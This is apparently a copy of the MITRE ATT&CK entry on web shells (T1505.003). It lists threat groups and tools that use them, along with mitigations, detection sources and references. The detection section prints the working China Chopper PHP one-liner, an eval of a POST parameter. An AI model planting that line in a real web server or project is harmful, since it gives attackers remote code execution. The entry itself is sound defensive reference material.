Server Software Component: Web Shell

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: China Chopper Web shell client).[1]

ID: T1505.003
Sub-technique of:  T1505
Tactic: Persistence
Platforms: Linux, Windows, macOS
System Requirements: Adversary access to Web server with vulnerability or account to upload and serve the Web shell file.
Permissions Required: SYSTEM, User
Contributors: Arnim Rupp, Deutsche Lufthansa AG
Version: 1.2
Created: 13 December 2019
Last Modified: 26 July 2021

Procedure Examples

ID Name Description
G0007 APT28

APT28 has used a modified and obfuscated version of the reGeorg web shell to maintain persistence on a target's Outlook Web Access (OWA) server.[2]

G0016 APT29

APT29 has installed web shells on exploited Microsoft Exchange servers.[3]

G0050 APT32

APT32 has used Web shells to maintain access to victim websites.[4]

G0082 APT38

APT38 has used web shells for persistence or to ensure redundant access.[5]

G0087 APT39

APT39 has installed ANTAK and ASPXSPY web shells.[6]

S0073 ASPXSpy

ASPXSpy is a Web shell. The ASPXTool version used by Threat Group-3390 has been deployed to accessible servers running Internet Information Services (IIS).[7]

G0135 BackdoorDiplomacy

BackdoorDiplomacy has used web shells to establish an initial foothold and for lateral movement within a victim's system.[8]

S0020 China Chopper

China Chopper's server component is a Web Shell payload.[1]

G0009 Deep Panda

Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.[9]

G0035 Dragonfly

Dragonfly has commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.[10]

G0117 Fox Kitten

Fox Kitten has installed web shells on compromised hosts to maintain access.[11][12]


GALLIUM used Web shells to persist in victim environments and assist in execution and exfiltration.[13][14]


HAFNIUM has deployed multiple web shells on compromised servers including SIMPLESEESHARP, SPORTSBALL, China Chopper, and ASPXSpy.[15][16][17]

G0094 Kimsuky

Kimsuky has used modified versions of open source PHP web shells to maintain access, often adding "Dinosaur" references within the code.[18]

G0065 Leviathan

Leviathan relies on web shells for an initial foothold as well as persistence into the victim's systems.[19][20]

G0049 OilRig

OilRig has used web shells, often to maintain access to a victim network.[21][22][23]

G0116 Operation Wocao

Operation Wocao has used their own web shells, as well as those previously placed on target systems by other threat actors, for reconnaissance and lateral movement.[24]

S0072 OwaAuth

OwaAuth is a Web shell that appears to be exclusively used by Threat Group-3390. It is installed as an ISAPI filter on Exchange servers and shares characteristics with the China Chopper Web shell.[7]

S0598 P.A.S. Webshell

P.A.S. Webshell can gain remote access and execution on target web servers.[25]

G0034 Sandworm Team

Sandworm Team has used webshells including P.A.S. Webshell to maintain access to victim networks.[25]


SEASHARPEE is a Web shell.[22]


SUPERNOVA is a Web shell.[26][27][28]

G0088 TEMP.Veles

TEMP.Veles has planted Web shells on Outlook Exchange servers.[29]

G0027 Threat Group-3390

Threat Group-3390 has used a variety of Web shells.[30]

G0131 Tonto Team

Tonto Team has used a first stage web shell after compromising a vulnerable Exchange server.[31]

G0081 Tropic Trooper

Tropic Trooper has started a web service in the target host and wait for the adversary to connect, acting as a web shell.[32]

G0123 Volatile Cedar

Volatile Cedar can inject web shell code into a server.[33][34]


ID Mitigation Description
M1042 Disable or Remove Feature or Program

Consider disabling functions from web technologies such as PHP’s eval() that may be abused for web shells.[35]

M1018 User Account Management

Enforce the principle of least privilege by limiting privileges of user accounts so only authorized accounts can modify the web directory.[36]


ID Data Source Data Component
DS0015 Application Log Application Log Content
DS0022 File File Creation
File Modification
DS0029 Network Traffic Network Traffic Content
Network Traffic Flow
DS0009 Process Process Creation

Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: [1]

<?php @eval($_POST['password']);>

Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.[37]

File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.[37]

Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. [38]


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  2. NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.
  3. NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.
  4. Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.
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  8. Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021
  9. RYANJ. (2014, February 20). Mo’ Shells Mo’ Problems – Deep Panda Web Shells. Retrieved September 16, 2015.
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  11. CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020.
  12. ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020.
  13. Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.
  14. MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.
  15. MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.
  16. Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.
  17. Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021.
  18. CISA, FBI, CNMF. (2020, October 27). Retrieved November 4, 2020.
  19. Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.
  1. CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021.
  2. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.
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  4. Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.
  5. Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.
  7. Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021.
  8. Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021.
  9. CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021.
  10. Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.
  11. Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.
  12. Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021.
  13. Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.
  14. Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.
  15. ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.
  16. Kondratiev, A. (n.d.). Disabling dangerous PHP functions. Retrieved July 26, 2021.
  17. NSA and ASD. (2020, April 3). Detect and Prevent Web Shell Malware. Retrieved July 23, 2021.
  18. NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.
  19. US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.